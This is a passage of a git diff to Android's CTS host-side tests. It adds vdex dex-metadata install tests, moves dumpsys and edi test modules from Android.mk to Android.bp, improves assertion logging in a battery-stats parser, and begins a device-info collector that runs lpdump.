diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.apk b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.apk
new file mode 100644
index 0000000..6760973
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.apk
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm
new file mode 100644
index 0000000..4471f69
--- /dev/null
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
index 766034a..15bb39b 100644
--- a/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
+++ b/hostsidetests/dexmetadata/host/src/com/android/cts/dexmetadata/InstallDexMetadataHostTest.java
@@ -13,6 +13,7 @@
  * See the License for the specific language governing permissions and
  * limitations under the License.
  */
+
 package com.android.cts.dexmetadata;
 
 import static org.junit.Assert.assertArrayEquals;
@@ -24,9 +25,8 @@
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.FileUtil;
-
-import java.io.ByteArrayOutputStream;
 import java.io.BufferedOutputStream;
+import java.io.ByteArrayOutputStream;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -37,7 +37,6 @@
 import java.nio.file.Paths;
 import java.util.zip.ZipEntry;
 import java.util.zip.ZipInputStream;
-
 import org.junit.After;
 import org.junit.Assume;
 import org.junit.Before;
@@ -56,15 +55,25 @@
 
     private static final String APK_BASE = "CtsDexMetadataSplitApp.apk";
     private static final String APK_FEATURE_A = "CtsDexMetadataSplitAppFeatureA.apk";
+    private static final String APK_BASE_WITH_VDEX = "CtsDexMetadataSplitAppWithVdex.apk";
+    private static final String APK_FEATURE_A_WITH_VDEX
+            = "CtsDexMetadataSplitAppFeatureAWithVdex.apk";
 
     private static final String DM_BASE = "CtsDexMetadataSplitApp.dm";
     private static final String DM_FEATURE_A = "CtsDexMetadataSplitAppFeatureA.dm";
+    private static final String DM_BASE_WITH_VDEX = "CtsDexMetadataSplitAppWithVdex.dm";
+    private static final String DM_FEATURE_A_WITH_VDEX
+    = "CtsDexMetadataSplitAppFeatureAWithVdex.dm";
 
     private File mTmpDir;
     private File mApkBaseFile = null;
     private File mApkFeatureAFile = null;
+    private File mApkBaseFileWithVdex = null;
+    private File mApkFeatureAFileWithVdex = null;
     private File mDmBaseFile = null;
     private File mDmFeatureAFile = null;
+    private File mDmBaseFileWithVdex = null;
+    private File mDmFeatureAFileWithVdex = null;
     private boolean mShouldRunTests;
 
     /**
@@ -83,8 +92,12 @@
             mTmpDir = FileUtil.createTempDir("InstallDexMetadataHostTest");
             mApkBaseFile = extractResource(APK_BASE, mTmpDir);
             mApkFeatureAFile = extractResource(APK_FEATURE_A, mTmpDir);
+            mApkBaseFileWithVdex = extractResource(APK_BASE_WITH_VDEX, mTmpDir);
+            mApkFeatureAFileWithVdex = extractResource(APK_FEATURE_A_WITH_VDEX, mTmpDir);
             mDmBaseFile = extractResource(DM_BASE, mTmpDir);
             mDmFeatureAFile = extractResource(DM_FEATURE_A, mTmpDir);
+            mDmBaseFileWithVdex = extractResource(DM_BASE_WITH_VDEX, mTmpDir);
+            mDmFeatureAFileWithVdex = extractResource(DM_FEATURE_A_WITH_VDEX, mTmpDir);
         }
     }
 
@@ -204,6 +217,29 @@
         assertArrayEquals(expectedProfileBytes, snapshotProfileBytes);
     }
 
+    /**
+     * Verify .dm installation for stand-alone base (no splits) with vdex file.
+     */
+    @Test
+    public void testInstallDmForBaseWithVdex() throws Exception {
+        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex).run();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+
+        assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBase"));
+    }
+
+    /**
+     * Verify .dm installation for base and splits with vdex files.
+     */
+    @Test
+    public void testInstallDmForBaseAndSplitWithVdex() throws Exception {
+        new InstallMultiple().addApk(mApkBaseFileWithVdex).addDm(mDmBaseFileWithVdex)
+                .addApk(mApkFeatureAFileWithVdex).addDm(mDmFeatureAFileWithVdex).run();
+        assertNotNull(getDevice().getAppPackageInfo(INSTALL_PACKAGE));
+
+        assertTrue(runDeviceTests(TEST_PACKAGE, TEST_CLASS, "testDmForBaseAndSplit"));
+    }
+
     /** Verify that the use of profiles is enabled on the device. */
     private void assumeProfilesAreEnabled() throws Exception {
         String useProfiles = getDevice().executeShellCommand(
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
new file mode 100644
index 0000000..cdcd366
--- /dev/null
+++ b/hostsidetests/dumpsys/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2014 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsDumpsysHostTestCases",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    // Must match the package name in CtsTestCaseList.mk
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/dumpsys/Android.mk b/hostsidetests/dumpsys/Android.mk
deleted file mode 100644
index d15996c..0000000
--- a/hostsidetests/dumpsys/Android.mk
+++ /dev/null
@@ -1,33 +0,0 @@
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-# Must match the package name in CtsTestCaseList.mk
-LOCAL_MODULE := CtsDumpsysHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed
-
-LOCAL_CTS_TEST_PACKAGE := android.dumpsys
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/dumpsys/apps/Android.mk b/hostsidetests/dumpsys/apps/Android.mk
deleted file mode 100644
index 4a74e80..0000000
--- a/hostsidetests/dumpsys/apps/Android.mk
+++ /dev/null
@@ -1,20 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Build the test APKs using their own makefiles
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
new file mode 100644
index 0000000..1dcf148
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
@@ -0,0 +1,27 @@
+// Copyright (C) 2015 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsFramestatsTestApp",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    static_libs: ["androidx.test.rules"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
deleted file mode 100644
index a772a05..0000000
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.mk
+++ /dev/null
@@ -1,31 +0,0 @@
-# Copyright (C) 2015 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_SDK_VERSION := current
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_PACKAGE_NAME := CtsFramestatsTestApp
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
new file mode 100644
index 0000000..8bd1e8e
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
@@ -0,0 +1,33 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsProcStatsHelperApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: ["junit"],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    min_sdk_version: "24",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
deleted file mode 100644
index a3df725..0000000
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsProcStatsHelperApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
new file mode 100644
index 0000000..abaf6cd
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsProcStatsApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
deleted file mode 100644
index 24e72ab..0000000
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsProcStatsApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.bp b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
new file mode 100644
index 0000000..321d5f9
--- /dev/null
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
@@ -0,0 +1,35 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "CtsStoragedTestApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    libs: [
+        "android.test.runner.stubs",
+        "junit",
+    ],
+    static_libs: [
+        "ctstestrunner-axt",
+        "compatibility-device-util-axt",
+        "androidx.legacy_legacy-support-v4",
+    ],
+    sdk_version: "test_current",
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.mk b/hostsidetests/dumpsys/apps/storagedapp/Android.mk
deleted file mode 100644
index a1670db..0000000
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.mk
+++ /dev/null
@@ -1,39 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsStoragedTestApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs cts-junit
-
-LOCAL_STATIC_JAVA_LIBRARIES := \
-    ctstestrunner-axt \
-    compatibility-device-util-axt \
-    androidx.legacy_legacy-support-v4
-
-LOCAL_SDK_VERSION := test_current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
index 0614db6..32fffdb 100644
--- a/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
+++ b/hostsidetests/dumpsys/src/android/dumpsys/cts/BatteryStatsDumpsysTest.java
@@ -17,6 +17,7 @@
 package android.dumpsys.cts;
 
 import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.tradefed.log.LogUtil.CLog;
 
 import java.io.BufferedReader;
 import java.io.File;
@@ -54,155 +55,161 @@
                 }
 
 
-                // With a default limit of 0, empty strings at the end are discarded.
-                // We still consider the empty string as a valid value in some cases.
-                // Using any negative number for the limit will preserve a trailing empty string.
-                // @see String#split(String, int)
-                String[] parts = line.split(",", -1);
-                assertInteger(parts[0]); // old version
-                assertInteger(parts[1]); // UID
-                switch (parts[2]) { // aggregation type
-                    case "i":
-                    case "l":
-                    case "c":
-                    case "u":
-                        break;
-                    default:
-                        fail("malformed stat: " + parts[2]);
-                }
-                assertNotNull(parts[3]);
-                seenTags.add(parts[3]);
+                try {
+                    // With a default limit of 0, empty strings at the end are discarded.
+                    // We still consider the empty string as a valid value in some cases.
+                    // Using any negative number for the limit will preserve a trailing empty string.
+                    // @see String#split(String, int)
+                    String[] parts = line.split(",", -1);
+                    assertInteger(parts[0]); // old version
+                    assertInteger(parts[1]); // UID
+                    switch (parts[2]) { // aggregation type
+                        case "i":
+                        case "l":
+                        case "c":
+                        case "u":
+                            break;
+                        default:
+                            fail("malformed stat: " + parts[2]);
+                    }
+                    assertNotNull(parts[3]);
+                    seenTags.add(parts[3]);
 
-                // Note the time fields are measured in milliseconds by default.
-                switch (parts[3]) {
-                    case "vers":
-                        checkVersion(parts);
-                        break;
-                    case "uid":
-                        checkUid(parts);
-                        break;
-                    case "apk":
-                        checkApk(parts);
-                        break;
-                    case "pr":
-                        checkProcess(parts);
-                        break;
-                    case "sr":
-                        checkSensor(parts);
-                        break;
-                    case "vib":
-                        checkVibrator(parts);
-                        break;
-                    case "fg":
-                        checkForegroundActivity(parts);
-                        break;
-                    case "fgs":
-                        checkForegroundService(parts);
-                        break;
-                    case "st":
-                        checkStateTime(parts);
-                        break;
-                    case "wl":
-                        checkWakelock(parts);
-                        break;
-                    case "awl":
-                        checkAggregatedWakelock(parts);
-                        break;
-                    case "sy":
-                        checkSync(parts);
-                        break;
-                    case "jb":
-                        checkJob(parts);
-                        break;
-                    case "jbc":
-                        checkJobCompletion(parts);
-                        break;
-                    case "jbd":
-                        checkJobsDeferred(parts);
-                        break;
-                    case "kwl":
-                        checkKernelWakelock(parts);
-                        break;
-                    case "wr":
-                        checkWakeupReason(parts);
-                        break;
-                    case "nt":
-                        checkNetwork(parts);
-                        break;
-                    case "ua":
-                        checkUserActivity(parts);
-                        break;
-                    case "bt":
-                        checkBattery(parts);
-                        break;
-                    case "dc":
-                        checkBatteryDischarge(parts);
-                        break;
-                    case "lv":
-                        checkBatteryLevel(parts);
-                        break;
-                    case "wfl":
-                        checkWifi(parts);
-                        break;
-                    case "m":
-                        checkMisc(parts);
-                        break;
-                    case "gn":
-                        checkGlobalNetwork(parts);
-                        break;
-                    case "br":
-                        checkScreenBrightness(parts);
-                        break;
-                    case "sgt":
-                    case "sgc":
-                        checkSignalStrength(parts);
-                        break;
-                    case "sst":
-                        checkSignalScanningTime(parts);
-                        break;
-                    case "dct":
-                    case "dcc":
-                        checkDataConnection(parts);
-                        break;
-                    case "wst":
-                    case "wsc":
-                        checkWifiState(parts);
-                        break;
-                    case "wsst":
-                    case "wssc":
-                        checkWifiSupplState(parts);
-                        break;
-                    case "wsgt":
-                    case "wsgc":
-                        checkWifiSignalStrength(parts);
-                        break;
-                    case "bst":
-                    case "bsc":
-                        checkBluetoothState(parts);
-                        break;
-                    case "blem":
-                        checkBluetoothMisc(parts);
-                        break;
-                    case "pws":
-                        checkPowerUseSummary(parts);
-                        break;
-                    case "pwi":
-                        checkPowerUseItem(parts);
-                        break;
-                    case "dsd":
-                    case "csd":
-                        checkChargeDischargeStep(parts);
-                        break;
-                    case "dtr":
-                        checkDischargeTimeRemain(parts);
-                        break;
-                    case "ctr":
-                        checkChargeTimeRemain(parts);
-                        break;
-                    case "cpu":
-                        checkUidCpuUsage(parts);
-                    default:
-                        break;
+                    // Note the time fields are measured in milliseconds by default.
+                    switch (parts[3]) {
+                        case "vers":
+                            checkVersion(parts);
+                            break;
+                        case "uid":
+                            checkUid(parts);
+                            break;
+                        case "apk":
+                            checkApk(parts);
+                            break;
+                        case "pr":
+                            checkProcess(parts);
+                            break;
+                        case "sr":
+                            checkSensor(parts);
+                            break;
+                        case "vib":
+                            checkVibrator(parts);
+                            break;
+                        case "fg":
+                            checkForegroundActivity(parts);
+                            break;
+                        case "fgs":
+                            checkForegroundService(parts);
+                            break;
+                        case "st":
+                            checkStateTime(parts);
+                            break;
+                        case "wl":
+                            checkWakelock(parts);
+                            break;
+                        case "awl":
+                            checkAggregatedWakelock(parts);
+                            break;
+                        case "sy":
+                            checkSync(parts);
+                            break;
+                        case "jb":
+                            checkJob(parts);
+                            break;
+                        case "jbc":
+                            checkJobCompletion(parts);
+                            break;
+                        case "jbd":
+                            checkJobsDeferred(parts);
+                            break;
+                        case "kwl":
+                            checkKernelWakelock(parts);
+                            break;
+                        case "wr":
+                            checkWakeupReason(parts);
+                            break;
+                        case "nt":
+                            checkNetwork(parts);
+                            break;
+                        case "ua":
+                            checkUserActivity(parts);
+                            break;
+                        case "bt":
+                            checkBattery(parts);
+                            break;
+                        case "dc":
+                            checkBatteryDischarge(parts);
+                            break;
+                        case "lv":
+                            checkBatteryLevel(parts);
+                            break;
+                        case "wfl":
+                            checkWifi(parts);
+                            break;
+                        case "m":
+                            checkMisc(parts);
+                            break;
+                        case "gn":
+                            checkGlobalNetwork(parts);
+                            break;
+                        case "br":
+                            checkScreenBrightness(parts);
+                            break;
+                        case "sgt":
+                        case "sgc":
+                            checkSignalStrength(parts);
+                            break;
+                        case "sst":
+                            checkSignalScanningTime(parts);
+                            break;
+                        case "dct":
+                        case "dcc":
+                            checkDataConnection(parts);
+                            break;
+                        case "wst":
+                        case "wsc":
+                            checkWifiState(parts);
+                            break;
+                        case "wsst":
+                        case "wssc":
+                            checkWifiSupplState(parts);
+                            break;
+                        case "wsgt":
+                        case "wsgc":
+                            checkWifiSignalStrength(parts);
+                            break;
+                        case "bst":
+                        case "bsc":
+                            checkBluetoothState(parts);
+                            break;
+                        case "blem":
+                            checkBluetoothMisc(parts);
+                            break;
+                        case "pws":
+                            checkPowerUseSummary(parts);
+                            break;
+                        case "pwi":
+                            checkPowerUseItem(parts);
+                            break;
+                        case "dsd":
+                        case "csd":
+                            checkChargeDischargeStep(parts);
+                            break;
+                        case "dtr":
+                            checkDischargeTimeRemain(parts);
+                            break;
+                        case "ctr":
+                            checkChargeTimeRemain(parts);
+                            break;
+                        case "cpu":
+                            checkUidCpuUsage(parts);
+                            break;
+                        default:
+                            break;
+                    }
+                } catch (AssertionError e) {
+                    CLog.e("Assert fail for line <" + line + ">");
+                    throw e;
                 }
             }
         }
diff --git a/hostsidetests/edi/Android.bp b/hostsidetests/edi/Android.bp
new file mode 100644
index 0000000..d9a907e
--- /dev/null
+++ b/hostsidetests/edi/Android.bp
@@ -0,0 +1,30 @@
+// Copyright (C) 2017 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+    name: "CtsEdiHostTestCases",
+    srcs: ["src/**/*.java"],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "vts",
+        "general-tests",
+        "cts_instant",
+    ],
+    libs: [
+        "cts-tradefed",
+        "tradefed",
+        "compatibility-host-util",
+    ],
+}
diff --git a/hostsidetests/edi/Android.mk b/hostsidetests/edi/Android.mk
deleted file mode 100644
index a403cde..0000000
--- a/hostsidetests/edi/Android.mk
+++ /dev/null
@@ -1,32 +0,0 @@
-# Copyright (C) 2017 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
-
-LOCAL_MODULE := CtsEdiHostTestCases
-
-LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
-
-include $(BUILD_HOST_JAVA_LIBRARY)
-
-include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/edi/src/android/edi/cts/DynamicPartitionsDeviceInfo.java b/hostsidetests/edi/src/android/edi/cts/DynamicPartitionsDeviceInfo.java
new file mode 100644
index 0000000..b2f988e
--- /dev/null
+++ b/hostsidetests/edi/src/android/edi/cts/DynamicPartitionsDeviceInfo.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.edi.cts;
+
+import com.android.compatibility.common.util.DeviceInfo;
+import com.android.compatibility.common.util.HostInfoStore;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.util.CommandResult;
+import java.io.File;
+import java.io.FileWriter;
+import org.json.JSONException;
+import org.json.JSONObject;
+
+public class DynamicPartitionsDeviceInfo extends DeviceInfo {
+
+    @Override
+    protected void collectDeviceInfo(HostInfoStore store) throws Exception {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    protected void collectDeviceInfo(File jsonFile) throws Exception {
+        ITestDevice device = getDevice();
+
+        CommandResult commandResult = device.executeShellV2Command(
+                "lpdump --json");
+        if (commandResult.getExitCode() == null) {
+            CLog.e("lpdump exit code is null");
+            return;
+        }
+        if (commandResult.getExitCode() != 0) {
